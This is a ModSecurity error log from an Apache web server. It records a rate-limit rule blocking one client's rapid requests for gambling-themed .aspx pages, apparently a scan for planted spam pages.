[Thu Mar 05 02:02:17.829175 2026] [:error] [pid 27814:tid 27878] [client 147.135.213.38:50312] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aahzqbPcbh1BHIHQb9J9LAAAAMU"]
[Thu Mar 05 02:02:20.250402 2026] [:error] [pid 27472:tid 27552] [client 147.135.213.38:50320] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aahzrLt7N-W1OaN6b8rhLwAAAZM"]
[Thu Mar 05 02:02:22.772783 2026] [:error] [pid 26934:tid 26977] [client 147.135.213.38:50328] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aahzrmDWd71V_nuoqWI_uAAAAJY"]
[Thu Mar 05 02:02:25.349241 2026] [:error] [pid 26934:tid 26970] [client 147.135.213.38:50336] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aahzsWDWd71V_nuoqWI_vQAAAI8"]
[Thu Mar 05 02:02:27.877200 2026] [:error] [pid 26934:tid 26961] [client 147.135.213.38:52422] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aahzs2DWd71V_nuoqWI_xQAAAIg"]
[Thu Mar 05 02:02:30.261851 2026] [:error] [pid 27814:tid 27876] [client 147.135.213.38:52426] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aahztrPcbh1BHIHQb9J9RQAAAMM"]
[Thu Mar 05 02:02:32.736533 2026] [:error] [pid 26969:tid 27052] [client 147.135.213.38:52432] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aahzuJlCO2K-E0MVfPPjoQAAAAw"]
[Thu Mar 05 02:02:35.089660 2026] [:error] [pid 26934:tid 26963] [client 147.135.213.38:52436] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aahzu2DWd71V_nuoqWI_zAAAAIo"]
[Thu Mar 05 02:02:37.591824 2026] [:error] [pid 26934:tid 26978] [client 147.135.213.38:52446] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aahzvWDWd71V_nuoqWI_2QAAAJc"]
[Thu Mar 05 02:02:40.098237 2026] [:error] [pid 27814:tid 27885] [client 147.135.213.38:57764] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aahzwLPcbh1BHIHQb9J9WwAAAMs"]
[Thu Mar 05 02:02:42.612562 2026] [:error] [pid 27472:tid 27535] [client 147.135.213.38:57772] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aahzwrt7N-W1OaN6b8rhUQAAAYQ"]
[Thu Mar 05 02:02:44.973280 2026] [:error] [pid 26969:tid 27056] [client 147.135.213.38:57780] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aahzxJlCO2K-E0MVfPPjqQAAABA"]
[Thu Mar 05 02:03:05.991980 2026] [:error] [pid 27814:tid 27890] [client 147.135.213.38:57794] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aahz2bPcbh1BHIHQb9J9sQAAANA"]
[Thu Mar 05 02:03:08.449746 2026] [:error] [pid 26969:tid 27059] [client 147.135.213.38:49382] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aahz3JlCO2K-E0MVfPPjuAAAABM"]
[Thu Mar 05 02:03:10.960049 2026] [:error] [pid 26966:tid 27017] [client 147.135.213.38:49390] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aahz3haIQuoePO_dwgc84QAAAEQ"]
[Thu Mar 05 02:03:13.428858 2026] [:error] [pid 27814:tid 27885] [client 147.135.213.38:49402] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aahz4bPcbh1BHIHQb9J9xAAAAMs"]
[Thu Mar 05 02:03:15.947293 2026] [:error] [pid 27814:tid 27897] [client 147.135.213.38:49404] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aahz47Pcbh1BHIHQb9J9yQAAANc"]
[Thu Mar 05 02:03:18.451284 2026] [:error] [pid 26934:tid 26961] [client 147.135.213.38:38298] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aahz5mDWd71V_nuoqWJAKwAAAIg"]
[Thu Mar 05 02:03:20.983983 2026] [:error] [pid 27472:tid 27532] [client 147.135.213.38:38314] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aahz6Lt7N-W1OaN6b8rhdwAAAYE"]
[Thu Mar 05 02:03:23.462661 2026] [:error] [pid 26966:tid 27034] [client 147.135.213.38:38324] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aahz6xaIQuoePO_dwgc85wAAAFU"]
[Thu Mar 05 02:03:25.794632 2026] [:error] [pid 27472:tid 27539] [client 147.135.213.38:38334] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aahz7bt7N-W1OaN6b8rhfAAAAYg"]
[Thu Mar 05 02:03:28.294989 2026] [:error] [pid 26934:tid 26968] [client 147.135.213.38:41128] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aahz8GDWd71V_nuoqWJANQAAAI4"]
[Thu Mar 05 02:03:30.785825 2026] [:error] [pid 26934:tid 26957] [client 147.135.213.38:41134] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aahz8mDWd71V_nuoqWJAOAAAAIQ"]
[Thu Mar 05 02:03:33.304974 2026] [:error] [pid 26934:tid 26958] [client 147.135.213.38:41144] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aahz9WDWd71V_nuoqWJAQgAAAIU"]
[Thu Mar 05 02:03:35.792098 2026] [:error] [pid 26934:tid 26961] [client 147.135.213.38:41158] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aahz92DWd71V_nuoqWJASAAAAIg"]
[Thu Mar 05 02:03:38.308253 2026] [:error] [pid 26934:tid 26960] [client 147.135.213.38:53420] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aahz-mDWd71V_nuoqWJAUQAAAIc"]
[Thu Mar 05 02:03:40.809815 2026] [:error] [pid 26934:tid 26962] [client 147.135.213.38:53434] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aahz_GDWd71V_nuoqWJAWgAAAIk"]
[Thu Mar 05 02:03:43.320787 2026] [:error] [pid 26934:tid 26955] [client 147.135.213.38:53448] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aahz_2DWd71V_nuoqWJAZgAAAII"]
[Thu Mar 05 02:03:45.839678 2026] [:error] [pid 26934:tid 26955] [client 147.135.213.38:53464] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aah0AWDWd71V_nuoqWJAbQAAAII"]
[Thu Mar 05 02:03:48.323765 2026] [:error] [pid 26934:tid 26953] [client 147.135.213.38:56630] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aah0BGDWd71V_nuoqWJAcQAAAIA"]
[Thu Mar 05 02:03:50.663303 2026] [:error] [pid 27814:tid 27885] [client 147.135.213.38:56636] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aah0BrPcbh1BHIHQb9J-CgAAAMs"]
[Thu Mar 05 02:03:53.163031 2026] [:error] [pid 27814:tid 27898] [client 147.135.213.38:56650] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aah0CbPcbh1BHIHQb9J-EAAAANg"]
[Thu Mar 05 02:03:55.650132 2026] [:error] [pid 26934:tid 26975] [client 147.135.213.38:56662] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aah0C2DWd71V_nuoqWJAjwAAAJQ"]
[Thu Mar 05 02:03:58.137438 2026] [:error] [pid 27814:tid 27877] [client 147.135.213.38:49132] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aah0DrPcbh1BHIHQb9J-GQAAAMQ"]
[Thu Mar 05 02:04:00.623460 2026] [:error] [pid 26934:tid 26970] [client 147.135.213.38:49140] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aah0EGDWd71V_nuoqWJAoAAAAI8"]
[Thu Mar 05 02:04:02.940659 2026] [:error] [pid 26934:tid 26965] [client 147.135.213.38:49148] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aah0EmDWd71V_nuoqWJApgAAAIw"]
[Thu Mar 05 02:04:24.033196 2026] [:error] [pid 27814:tid 27887] [client 147.135.213.38:49150] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aah0KLPcbh1BHIHQb9J-RQAAAM0"]
[Thu Mar 05 02:04:26.474570 2026] [:error] [pid 27814:tid 27897] [client 147.135.213.38:38018] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aah0KrPcbh1BHIHQb9J-SQAAANc"]
[Thu Mar 05 02:04:28.974531 2026] [:error] [pid 26934:tid 26970] [client 147.135.213.38:44690] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aah0LGDWd71V_nuoqWJBEAAAAI8"]
[Thu Mar 05 02:04:31.471245 2026] [:error] [pid 27814:tid 27888] [client 147.135.213.38:44696] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aah0L7Pcbh1BHIHQb9J-VwAAAM4"]
[Thu Mar 05 02:04:33.969703 2026] [:error] [pid 27472:tid 27542] [client 147.135.213.38:44706] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aah0Mbt7N-W1OaN6b8rhvQAAAYs"]
[Thu Mar 05 02:04:36.317729 2026] [:error] [pid 26934:tid 26962] [client 147.135.213.38:44708] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aah0NGDWd71V_nuoqWJBIwAAAIk"]
[Thu Mar 05 02:04:38.785490 2026] [:error] [pid 27472:tid 27539] [client 147.135.213.38:41088] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aah0Nrt7N-W1OaN6b8rhxAAAAYg"]
[Thu Mar 05 02:04:41.114615 2026] [:error] [pid 27814:tid 27886] [client 147.135.213.38:41090] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aah0ObPcbh1BHIHQb9J-ZwAAAMw"]
[Thu Mar 05 02:04:43.597997 2026] [:error] [pid 26934:tid 26971] [client 147.135.213.38:41106] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aah0O2DWd71V_nuoqWJBOAAAAJA"]
[Thu Mar 05 02:04:45.905072 2026] [:error] [pid 27814:tid 27896] [client 147.135.213.38:41112] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aah0PbPcbh1BHIHQb9J-bQAAANY"]
[Thu Mar 05 02:04:48.217066 2026] [:error] [pid 27814:tid 27897] [client 147.135.213.38:47492] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aah0QLPcbh1BHIHQb9J-cgAAANc"]
[Thu Mar 05 02:04:50.522460 2026] [:error] [pid 27814:tid 27898] [client 147.135.213.38:47508] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aah0QrPcbh1BHIHQb9J-fgAAANg"]
[Thu Mar 05 02:04:52.987502 2026] [:error] [pid 26934:tid 26977] [client 147.135.213.38:47512] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aah0RGDWd71V_nuoqWJBSQAAAJY"]
[Thu Mar 05 02:04:55.460673 2026] [:error] [pid 27472:tid 27547] [client 147.135.213.38:47526] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aah0R7t7N-W1OaN6b8rh0wAAAY8"]
[Thu Mar 05 02:04:57.924014 2026] [:error] [pid 26969:tid 27057] [client 147.135.213.38:37384] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aah0SZlCO2K-E0MVfPPj4QAAABE"]
[Thu Mar 05 02:05:00.233643 2026] [:error] [pid 26934:tid 26964] [client 147.135.213.38:37390] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aah0TGDWd71V_nuoqWJBYAAAAIs"]
[Thu Mar 05 02:05:02.526532 2026] [:error] [pid 26934:tid 26955] [client 147.135.213.38:37392] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aah0TmDWd71V_nuoqWJBaAAAAII"]
[Thu Mar 05 02:05:05.041087 2026] [:error] [pid 27814:tid 27888] [client 147.135.213.38:37406] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aah0UbPcbh1BHIHQb9J-mAAAAM4"]
[Thu Mar 05 02:05:07.547501 2026] [:error] [pid 27472:tid 27552] [client 147.135.213.38:37422] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aah0U7t7N-W1OaN6b8rh2gAAAZM"]
